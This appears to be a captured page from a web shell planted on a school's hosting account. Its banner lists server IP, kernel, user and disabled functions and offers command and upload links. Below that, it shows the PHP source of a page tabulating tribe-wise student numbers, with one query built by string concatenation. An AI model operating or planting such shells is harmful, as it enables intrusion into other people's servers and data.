|
Server IP : 86.38.243.181 / Your IP : 216.73.216.51 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u986601745 ( 986601745) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u986601745/domains/emrskalsi.com/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en" style="overflow-x: hidden;">
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Eklavya Model Residential School - Tribe Wise Student</title>
<?php include('include/header.php');
$q = "SELECT * FROM tribe_wise_student limit 1";
$result = mysqli_query($conn,$q);
$tribe = mysqli_fetch_assoc($result);
?>
<div class="breadcrumbs">
<div class="container">
<!-- <h1 class="pull-left">
Student Strength</h1> -->
<ul class="pull-left breadcrumb">
<li><a href="javascript:void(0)">Academics</a></li>
<li><a href="javascript:void(0)">Student Strength</a></li>
</ul>
</div>
</div>
</div>
<style>.menshow{display:block !important}
.table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td {
vertical-align: middle!important;
}
tfoot {
background: #ff0000;
color: #fff;
}
thead th ,tfoot th{
text-align: center;
}
</style>
</div></div><div class="container" id="pr">
<div class="row tbres">
<div class="col-xs-12 col-md-12 col-lg-12 col-sm-12 table-responsive" ><div class="ap-section ">
<div class="ap-plain" >
<div >
<section id="backstre1">
<div class="table-responsive container">
<div class="headline" id="headlines">
<h2>Tribe-wise Students Strength (<?php echo date('Y') ?>-<?php echo date('y')+1 ?>)</h2>
</div>
<!-- <img src="admin/<?php echo $tribe['image'] ?>" style="width: 100%;"> -->
<table class="table table-bordered table-striped">
<tr class="text-white">
<th class="text-center">Caste</th>
<th class="text-center" colspan="2">Jaunsari</th>
<th class="text-center" colspan="2">Bhotia</th>
<th class="text-center" colspan="2">Boxa</th>
<th class="text-center" colspan="2">Tharu</th>
<th class="text-center" colspan="2">Raji</th>
<th class="text-center" rowspan="2">Total</th>
<th class="text-center" rowspan="2">Grand Total</th>
</tr>
<tr>
<th class="text-white text-center">Class</th>
<th class="text-white text-center">Boys</th>
<th class="text-white text-center">Girls</th>
<th class="text-white text-center">Boys</th>
<th class="text-white text-center">Girls</th>
<th class="text-white text-center">Boys</th>
<th class="text-white text-center">Girls</th>
<th class="text-white text-center">Boys</th>
<th class="text-white text-center">Girls</th>
<th class="text-white text-center">Boys</th>
<th class="text-white text-center">Girls</th>
</tr>
<tbody>
<?php
$q = "SELECT * FROM tribe_wise_student";
$query = mysqli_query($conn,$q);
$total_jaunsari_boys=0;
$total_jaunsari_girls=0;
$total_bhotia_boys=0;
$total_bhotia_girls=0;
$total_boxa_boys=0;
$total_boxa_girls=0;
$total_tharu_boys=0;
$total_tharu_girls=0;
$total_raji_boys=0;
$total_raji_girls=0;
$total=0;
$Grand_total=0;
$i=1;
while($row = mysqli_fetch_array($query)) {
$total=$row['jaunsari_boys']+$row['jaunsari_girls']+$row['bhotia_boys']+$row['bhotia_girls']+$row['boxa_boys']+$row['boxa_girls']+$row['tharu_boys']+$row['tharu_girls']+$row['raji_boys']+$row['raji_girls'];
$Grand_total+=$row['jaunsari_boys']+$row['jaunsari_girls']+$row['bhotia_boys']+$row['bhotia_girls']+$row['boxa_boys']+$row['boxa_girls']+$row['tharu_boys']+$row['tharu_girls']+$row['raji_boys']+$row['raji_girls'];
$total_jaunsari_boys+=$row['jaunsari_boys'];
$total_jaunsari_girls+=$row['jaunsari_girls'];
$total_bhotia_boys+=$row['bhotia_boys'];
$total_bhotia_girls+=$row['bhotia_girls'];
$total_boxa_boys+=$row['boxa_boys'];
$total_boxa_girls+=$row['boxa_girls'];
$total_tharu_boys+=$row['tharu_boys'];
$total_tharu_girls+=$row['tharu_girls'];
$total_raji_boys+=$row['raji_boys'];
$total_raji_girls+=$row['raji_girls'];
$section=explode('-', $row['class_id']);
$sql = "SELECT *,SUM(jaunsari_boys+jaunsari_girls+bhotia_boys+bhotia_girls+boxa_boys+boxa_girls+tharu_boys+tharu_girls+raji_boys+raji_girls) as grandtotal FROM tribe_wise_student WHERE class_id='".$row['class_id']."'";
$qry = mysqli_query($conn,$sql);
$res = mysqli_fetch_array($qry);
$Gtotal=$res['grandtotal'];
?>
<tr <?php if ($res['section']!='') { echo 'class="sec"';} ?>>
<th class="text-center text-white"><?php echo $row['class_id'] ?> <?php if($row['section']!='') echo '-'.$row['section'] ?></th>
<td><?php echo $row['jaunsari_boys']; ?></td>
<td><?php echo $row['jaunsari_girls']; ?></td>
<td><?php echo $row['bhotia_boys']; ?></td>
<td><?php echo $row['bhotia_girls']; ?></td>
<td><?php echo $row['boxa_boys']; ?></td>
<td><?php echo $row['boxa_girls']; ?></td>
<td><?php echo $row['tharu_boys']; ?></td>
<td><?php echo $row['tharu_girls']; ?></td>
<td><?php echo $row['raji_boys']; ?></td>
<td><?php echo $row['raji_girls']; ?></td>
<td><?php
if ($res['section']!='') {
echo $total;
}else{
echo '----';
} ?></td>
<!-- <td><?php echo $Gtotal; ?></td> -->
<td <?php
if ($res['section']!='') {
echo 'rowspan="2" class="gttl'.$i.'"';
} ?>><?php
if ($res['section']!='') {
echo $Gtotal.'<style>tbody .sec:nth-child(odd) td:last-child{
display: none!important;
}</style>';
}else{
echo $total;
}
?>
</td>
</tr>
<?php $i++; } ?>
<tr>
<th class="text-center text-white">Total</th>
<td><?php echo $total_jaunsari_boys; ?></td>
<td><?php echo $total_jaunsari_girls; ?></td>
<td><?php echo $total_bhotia_boys; ?></td>
<td><?php echo $total_bhotia_girls; ?></td>
<td><?php echo $total_boxa_boys; ?></td>
<td><?php echo $total_boxa_girls; ?></td>
<td><?php echo $total_tharu_boys; ?></td>
<td><?php echo $total_tharu_girls; ?></td>
<td><?php echo $total_raji_boys; ?></td>
<td><?php echo $total_raji_girls; ?></td>
<td colspan="2" rowspan="2"><?php echo $Grand_total; ?></td>
</tr>
<tr>
<th class="text-center text-white">Total Boys+Girls</th>
<td colspan="2"><?php echo $total_jaunsari_boys+$total_jaunsari_girls; ?></td>
<td colspan="2"><?php echo $total_bhotia_boys+$total_bhotia_girls; ?></td>
<td colspan="2"><?php echo $total_boxa_boys+$total_boxa_girls; ?></td>
<td colspan="2"><?php echo $total_tharu_boys+$total_tharu_girls; ?></td>
<td colspan="2"><?php echo $total_raji_boys+$total_raji_girls; ?></td>
</tr>
</tbody>
</table>
</div>
</section></div>
</div>
</div></div></div>
</div>
<?php include('include/footer.php'); ?>